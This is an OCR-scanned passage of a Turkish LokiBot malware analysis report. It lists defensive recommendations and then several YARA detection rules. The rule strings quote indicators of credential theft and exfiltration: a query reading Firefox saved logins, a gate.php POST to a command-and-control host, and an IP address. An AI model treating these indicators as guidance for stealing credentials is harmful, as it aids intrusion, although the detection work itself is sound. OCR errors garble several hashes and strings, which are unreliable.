Guncel anti virts yazilimlari kullantimalidir.
isletim sistemi giincel tutulmahdir.

Dosya ve vyazicl paylasim hizmetleri devre disi birakilmalidir. Bu
hizmetler gerekliyse, glcli parolalar veya Active Directory kimlik
dogrulamasi kullaniimalidir.

Cok faktorlt kimlik dogrulama kullaniimalidir.

Kullanicilarin istenmeyen yazilim uygulamalarini yakleme ve c¢alistirma
izinleri kisitlanmalidir. Gerekmedikce yerel yoneticiler grubuna kullanici
eklenmemelidir.

GUclu parolalar kullanilmalidir.
E-posta ekleri acilirken dikkatli olunmalidir.

Ajans is istasyonlarinda ve sunucularinda gereksiz hizmetler devre disi
birakilmalidir.

Stpheli e-posta ekleri taranmali veya kaldirilmalidir.

Kullanicilarin web'de gezinme aliskanliklari izlenmeli ve olumsuz icerige
sahip sitelere erisim kisitlanmalidir.

Cikarilabilir medya (6rn. USB flash striculer, harici strtciler, CD'ler)
kullanirken dikkatli olunmalidir.

Calistirlilmadan once internetten indirilen tim yazilimlar taranmalidir.

En son tehditlere iliskin farkindalik strdUtrdlmeli ve uygun erisim
kontrol listeleri uygulanmalidir.

o M
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Excel Dokiimani Yara Kurali

import "hash"

rule LokiBot

{

meta:

author = "Zayotem Team 4"
description = "LokiBot"
first_date ="12.04.2021"
report_date = "24.05.2021"

file_name
"dc72ab50d5511e8ef0723cc3bebbfaf4ddf30d8c1fbd21b7f4d7808b827e37d5.xIsx"

strings:

Ss1 ="Microsoft Enhanced RSA and AES Cryptographic Provider"

Ss2 = "{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}"

Ss3 ="StrongEncryptionDataSpace"

condition:

hash.md5(0, filesize) == "66CD456EC5D2B4FB683BEF3FOBDC244B" or all
of

them
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vbc.exe Yara Kurali

import "hash"

rule LokiBot

{

meta:

author = "Zayotem Team 4"
description = "LokiBot"
first_date ="12.04.2021"
report_date ="24.05.2021"
file_name ="vbc.exe"

strings:

Ss1 = "zhxpwnkb2xox5j.dll"
Ss2 ="gpz8ar381j61mdp9ky2"
Ss3 ="38pl2h5z2dja"
condition:

hash.md5(0, filesize) == "196192AE86384D7FFAOEA7E43EC7D640" or all
of

them




pe
Y

(

zhxpwnkb2xox5j.dll Yara Kurali

import "hash"
rule LokiBot

{

meta:
author = "Zayotem Team 4"
description = "LokiBot"
first_date ="12.04.2021"
report_date ="24.05.2021"
file_name ="zhxpwnkb2xox5j.dll"
strings:
Ss1 ="gpz8ar381j61mdp9ky2"
Ss2 = "RexIxosdkhvclf"
S$s3="11&1,12181>1D1J1P1V1\1blh1nitl1z1"

condition:

hash.md5(0, filesize) == "38b02c707606809973c80710a99fcd07" or all

of

them
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gpz8ar381j61mdp9ky2 Yara Kurali

import "hash"

rule LokiBot

{

meta:
author = "Zayotem Team 4"
description = "LokiBot"
first_date ="12.04.2021"
report_date ="24.05.2021"
file_name = "gpz8ar381j61mdp9ky2"
strings:
Ss1 ="38pl2h5z2dja"
Ss2 =".DEFAULT\Control Panel\International"
Ss3 = "\Microsoft\Internet Explorer\Quick Launch"
Ss4 ="msctls_progress32"
Ss5="SysListView32"

condition:

hash.md5(0, filesize) == "87aa4f2dcd5b5a5¢cb66c2449d00e3770" or all

of

them
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38pl2h5z2dja Yara Kurali

import "hash"
rule LokiBot

{

meta:
author = "Zayotem Team 4"
description = "LokiBot"
first_date ="12.04.2021"
report_date ="24.05.2021"
file_name ="38pl2h5z2dja"
strings:
Ss1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Ss2 = "DIRycql1tP2vSeaogj5SbEUFzQIHT9dmMKCNn6uf7xsOYOhpwr43VINX8JGBAKLMZW"
Ss3 ="SQlite format 3 "

Ss4 = "SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname
FROM moz_logins"

Ss5 ="sqlite3_step"
Ss6 = "Fuckav.ru"

Ss7 ="%s\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-
8325A95771EENdata"

condition:
hash.md5(0, filesize) == "d783d3091c054d3741ded76d7d3daaas" or all
of

them

4
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1.exe Yara Kurali

Y

import "hash"

rule LokiBot

{

meta:

author = "Zayotem Team 4"
description = "LokiBot"
first_date ="12.04.2021"
report_date ="24.05.2021"
file_name ="1.exe"

strings:

Ss1 ="88.255.216.16"

Ss2 = "nmap-status-1"

Ss3 ="33DCE1"

Ss4 ="1F197C.Ick"

Ss5 ="amrp.tw"

Ss6 = "POST /engr/gate.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon;
Inferno)\r\nHost: amrp.tw\r\nAccept: /\r\nContent-Type: application/octet-
stream\r\nContent-Encoding: binary\r

Ss7 ="X1256*9(SKiasb+!v<.qF58 qwe~QsRTYvdeTYb"

Ss8 = "MAC=%02X%02X%02XINSTALL=%08X%08Xk"

condition:

hash.md5(0, filesize) == "AFOFA9C12A40FEA1204A2F96A84DCC5A" or all
of

them }

4




Hazirlayanlar

Taha HICRET

https://www.linkedin.com/in/taha-hicret/

Sinan BAYKAN

https://www.linkedin.com/in/sinan-baykan/

Harun YAKUT

https://www.linkedin.com/in/harun-yakut

Bilal BAKARTEPE

https://www.linkedin.com/in/bilal-bakartepe/
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